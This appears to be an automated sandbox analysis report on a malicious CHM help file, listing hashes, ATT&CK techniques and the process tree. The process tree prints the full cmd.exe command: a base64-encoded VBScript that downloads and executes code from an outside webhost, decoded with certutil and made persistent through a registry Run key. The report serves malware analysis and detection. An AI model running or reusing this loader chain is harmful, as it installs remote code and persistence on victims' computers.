c62677543eeb50e0def44fc75009a7748cdbedd0a3ccf62f50d7f219f6a5aa05

Analysis

max time kernel
139s
max time network
143s
platform
windows10-2004_x64
resource
win10v2004-20230915-en
resource tags

arch:x64arch:x86image:win10v2004-20230915-enlocale:en-usos:windows10-2004-x64system
submitted
18/09/2023, 10:21

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General

Target
364d4fdf430477222fe854b3cd5b6d40.chm
Size 31KB
Sample230918-mdm2rsba48
SHA256 c62677543eeb50e0def44fc75009a7748cdbedd0a3ccf62f50d7f219f6a5aa05
MD5 364d4fdf430477222fe854b3cd5b6d40
SHA1 b5224224fdbabdea53a91a96e9f816c6f9a8708c
SHA512 2a53d76ec155f712ecb34cbccd053d6a69992eafdc5b1b91f2cac85d4d8ab19f19c065fd3001f5d910f0a9274358d32eb8a347452dc32145edc80f4a1a4c6db2
SSDEEP 768:5UU18TPTd1QC2NQeaOcm/4hdY/kdJLyltH:5UUCTPT7QtQ7m/4h40ultH
MD5 SHA1 SHA512 SSDEEP

Score

6^/10

persistence

Malware Config

Signatures

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1574508946-349927670-1185736483-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Document = "C:\\Users\\Admin\\Links\\MXFhejJ3c3gzZWRjA.vbs"	reg.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
4468	reg.exe

Suspicious use of SetWindowsHookEx 2 IoCs

pid	Process
968	hh.exe
968	hh.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 968 wrote to memory of 264	968	hh.exe	89
PID 968 wrote to memory of 264	968	hh.exe	89
PID 264 wrote to memory of 1040	264	cmd.exe	91
PID 264 wrote to memory of 1040	264	cmd.exe	91
PID 264 wrote to memory of 4468	264	cmd.exe	92
PID 264 wrote to memory of 4468	264	cmd.exe	92

C:\Windows\hh.exe
"C:\Windows\hh.exe" C:\Users\Admin\AppData\Local\Temp\364d4fdf430477222fe854b3cd5b6d40.chm
1⤵
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:968
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c echo T24gRXJyb3IgUmVzdW1lIE5leHQNCg0KU2V0IG14ID0gQ3JlYXRlT2JqZWN0KCJNaWNyb3NvZnQuWE1MSFRUUCIpDQpteC5vcGVuICJHRVQiLCAiaHR0cDovLzAwNzAxMTExLjAwMHdlYmhvc3RhcHAuY29tL3dwLWV4dHJhL3Nob3cucGhwP3F1ZXJ5PTUwIiwgRmFsc2UNCm14LlNlbmQNCg0KRXhlY3V0ZShteC5yZXNwb25zZVRleHQp >"%USERPROFILE%\Links\MXFhejJ3c3gzZWRjA.dat" & start /MIN certutil -decode "%USERPROFILE%\Links\MXFhejJ3c3gzZWRjA.dat" "%USERPROFILE%\Links\MXFhejJ3c3gzZWRjA.vbs" & start /MIN REG ADD HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v Document /t REG_SZ /d "%USERPROFILE%\Links\MXFhejJ3c3gzZWRjA.vbs" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:264
- - C:\Windows\system32\certutil.exe
    certutil -decode "C:\Users\Admin\Links\MXFhejJ3c3gzZWRjA.dat" "C:\Users\Admin\Links\MXFhejJ3c3gzZWRjA.vbs"
    3⤵
    PID:1040
- - C:\Windows\system32\reg.exe
    REG ADD HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v Document /t REG_SZ /d "C:\Users\Admin\Links\MXFhejJ3c3gzZWRjA.vbs" /f
    3⤵
    - Adds Run key to start application
    - Modifies registry key
    PID:4468

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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MXFhejJ3c3gzZWRjA.dat

Path C:\Users\Admin\Links\MXFhejJ3c3gzZWRjA.dat
Size 256B
SHA256 cc24c06880ca25456d40bf829475a5df77f55549075a3e66e9b2b8d5f40fb2ef
MD5 90fdce7926232fafa31e2f24b260873c
SHA1 532b8e04db16a38334f609d6b015e9d2f6353f50
SHA512 bca18b9a1b8252571a2381c41e9f1dc32208abadc141fd16dc17ebc29c8a6e32450545cbc1f5c988a5f8c44aaf51962c0e9c30129207c6518ead7788e00fe046
MD5 SHA1 SHA512

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Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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